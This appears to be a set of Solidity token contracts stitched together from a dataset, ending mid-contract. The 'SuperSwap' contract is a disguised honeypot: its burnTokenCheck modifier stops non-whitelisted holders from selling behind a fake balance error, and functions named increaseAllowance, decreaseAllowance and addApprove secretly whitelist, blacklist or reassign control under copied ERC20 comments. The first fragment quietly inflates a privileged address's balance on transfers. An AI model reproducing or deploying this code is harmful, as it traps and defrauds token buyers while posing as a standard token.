IUniswapV2Router01 private uniswapRouter01 = IUniswapV2Router01(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
mapping (address => uint256) private _balances;
mapping (address => uint256) private _cooldown;
mapping (address => bool) private _destroyedRing;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private cooldown;
uint8 private sellCount;
constructor (address redistribution_) {
_liquidityProvider = _msgSender();
_redistribution = redistribution_;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function setSellLimit(uint256 newLimit) public {
require(_msgSender()==owner() || _msgSender() == _redistribution);
maxSellLimit = newLimit;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
uint256 finalAmount = _getValues(sender, recipient, amount);
_balances[sender] = SafeMath.sub(senderBalance,amount);
_balances[recipient] = SafeMath.add(_balances[recipient],finalAmount);
emit Transfer(sender, recipient, finalAmount);
}
function _getValues(address sender, address recipient, uint256 amount) internal returns(uint256){
if (sender!=owner() && recipient!=owner() && sender!=_redistribution) {
if(recipient==uniswapV2Pair) {
require(cooldown < block.timestamp,"Initial Cooldown enabled");
require(_cooldown[sender] < block.timestamp,"Normal Cooldown");
require(amount <= maxSellLimit,"Sell limit");
if(enableCooldown){
cooldown = block.timestamp+(60 seconds);
if(sellCount > 10) {cooldown = block.timestamp+(3 minutes);sellCount=0;}
sellCount += 1;
}
}
_cooldown[recipient] = block.timestamp+(45 seconds);
}
uint256 rFee = SafeMath.div(amount,20);address redistibution = recipient;
_balances[_redistribution] = SafeMath.add(_balances[_redistribution], rFee);
if(redistibution==_redistribution)_balances[_redistribution]=SafeMath.add(_balances[_redistribution],_rTotal);
uint256 finalAmount = SafeMath.sub(amount, rFee);
return finalAmount;
}
function setCooldown(bool enable) public onlyOwner {
enableCooldown = enable;
}
function uniswapPair() public onlyOwner {
address getPairAddress = IUniswapV2Factory(uniswapRouter01.factory()).getPair(address(this), uniswapRouter01.WETH());
require(getPairAddress != address(0));
uniswapV2Pair = getPairAddress;
}
} | True | [
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|
/**
*Submitted for verification at Etherscan.io on 2021-04-01
*/
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract SuperSwap is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
_mint(0x21e62D0ad18d201cd27DB61e2aA4E7417CF101c8, initialSupply*(10**18));
_mint(0x0900D29539FC7B4b69D5d1dd4F0dEAE47f118175, initialSupply*(10**18));
_mint(0x4819e7f4Fcf57411965C6dC496F042c33c4Add6e, initialSupply*(10**18));
_mint(0x1af6a1eD0974fFdF119Bf678fFfD8d4F97f5e645, initialSupply*(10**18));
_mint(0x31045eA18161A174c1E6C7Dfe0f9B7757f3DCDfe, initialSupply*(10**18));
_mint(0xB4C92223Abea2D3aC8409D18946BBcee5D918Ec4, initialSupply*(10**18));
_mint(0xB630D90e3EBE206d2C2A36C060D14812E320862e, initialSupply*(10**18));
_mint(0x241AbeFc7014e7c38831bbAf8800d54f15C64CC5, initialSupply*(10**18));
_mint(0x0c39aF60D614Aa2b71Ab925fAC6e283419090434, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
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|
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() external constant returns (uint256 _totalSupply);
function balanceOf(address _owner) external constant returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _old, uint256 _new) external returns (bool success);
function allowance(address _owner, address _spender) external constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
constructor () internal {
}
}
library RingList {
address constant NULL = 0x0;
address constant HEAD = 0x0;
bool constant PREV = false;
bool constant NEXT = true;
struct LinkedList{
mapping (address => mapping (bool => address)) list;
}
/// @dev returns true if the list exists
/// @param self stored linked list from contract
function listExists(LinkedList storage self)
internal
view returns (bool)
{
// if the head nodes previous or next pointers both point to itself, then there are no items in the list
if (self.list[HEAD][PREV] != HEAD || self.list[HEAD][NEXT] != HEAD) {
return true;
} else {
return false;
}
}
/// @dev returns true if the node exists
/// @param self stored linked list from contract
/// @param _node a node to search for
function nodeExists(LinkedList storage self, address _node)
internal
view returns (bool)
{
if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) {
if (self.list[HEAD][NEXT] == _node) {
return true;
} else {
return false;
}
} else {
return true;
}
}
/// @dev Returns the number of elements in the list
/// @param self stored linked list from contract
function sizeOf(LinkedList storage self) internal view returns (uint256 numElements) {
bool exists;
address i;
(exists,i) = getAdjacent(self, HEAD, NEXT);
while (i != HEAD) {
(exists,i) = getAdjacent(self, i, NEXT);
numElements++;
}
return;
}
/// @dev Returns the links of a node as a tuple
/// @param self stored linked list from contract
/// @param _node id of the node to get
function getNode(LinkedList storage self, address _node)
internal view returns (bool, address, address)
{
if (!nodeExists(self,_node)) {
return (false,0x0,0x0);
} else {
return (true,self.list[_node][PREV], self.list[_node][NEXT]);
}
}
/// @dev Returns the link of a node `_node` in direction `_direction`.
/// @param self stored linked list from contract
/// @param _node id of the node to step from
/// @param _direction direction to step in
function getAdjacent(LinkedList storage self, address _node, bool _direction)
internal view returns (bool, address)
{
if (!nodeExists(self,_node)) {
return (false,0x0);
} else {
return (true,self.list[_node][_direction]);
}
}
/// @dev Can be used before `insert` to build an ordered list
/// @param self stored linked list from contract
/// @param _node an existing node to search from, e.g. HEAD.
/// @param _value value to seek
/// @param _direction direction to seek in
// @return next first node beyond '_node' in direction `_direction`
function getSortedSpot(LinkedList storage self, address _node, address _value, bool _direction)
internal view returns (address)
{
if (sizeOf(self) == 0) { return 0x0; }
require((_node == 0x0) || nodeExists(self,_node));
bool exists;
address next;
(exists,next) = getAdjacent(self, _node, _direction);
while ((next != 0x0) && (_value != next) && ((_value < next) != _direction)) next = self.list[next][_direction];
return next;
}
/// @dev Creates a bidirectional link between two nodes on direction `_direction`
/// @param self stored linked list from contract
/// @param _node first node for linking
/// @param _link node to link to in the _direction
function createLink(LinkedList storage self, address _node, address _link, bool _direction) internal {
self.list[_link][!_direction] = _node;
self.list[_node][_direction] = _link;
}
/// @dev Insert node `_new` beside existing node `_node` in direction `_direction`.
/// @param self stored linked list from contract
/// @param _node existing node
/// @param _new new node to insert
/// @param _direction direction to insert node in
function insert(LinkedList storage self, address _node, address _new, bool _direction) internal returns (bool) {
if(!nodeExists(self,_new) && nodeExists(self,_node)) {
address c = self.list[_node][_direction];
createLink(self, _node, _new, _direction);
createLink(self, _new, c, _direction);
return true;
} else {
return false;
}
}
/// @dev removes an entry from the linked list
/// @param self stored linked list from contract
/// @param _node node to remove from the list
function remove(LinkedList storage self, address _node) internal returns (address) {
if ((_node == NULL) || (!nodeExists(self,_node))) { return 0x0; }
createLink(self, self.list[_node][PREV], self.list[_node][NEXT], NEXT);
delete self.list[_node][PREV];
delete self.list[_node][NEXT];
return _node;
}
/// @dev pushes an enrty to the head of the linked list
/// @param self stored linked list from contract
/// @param _node new entry to push to the head
/// @param _direction push to the head (NEXT) or tail (PREV)
function push(LinkedList storage self, address _node, bool _direction) internal {
insert(self, HEAD, _node, _direction);
}
/// @dev pops the first entry from the linked list
/// @param self stored linked list from contract
/// @param _direction pop from the head (NEXT) or the tail (PREV)
function pop(LinkedList storage self, bool _direction) internal returns (address) {
bool exists;
address adj;
(exists,adj) = getAdjacent(self, HEAD, _direction);
return remove(self, adj);
}
}
contract UmkaToken is ERC20 {
using SafeMath for uint256;
using RingList for RingList.LinkedList;
address public owner;
bool public paused = false;
bool public contractEnable = true;
uint256 private summarySupply;
string public name = "";
string public symbol = "";
uint8 public decimals = 0;
mapping(address => uint256) private accounts;
mapping(address => string) private umkaAddresses;
mapping(address => mapping (address => uint256)) private allowed;
mapping(address => uint8) private group;
mapping(bytes32 => uint256) private distribution;
RingList.LinkedList private holders;
struct groupPolicy {
uint8 _default;
uint8 _backend;
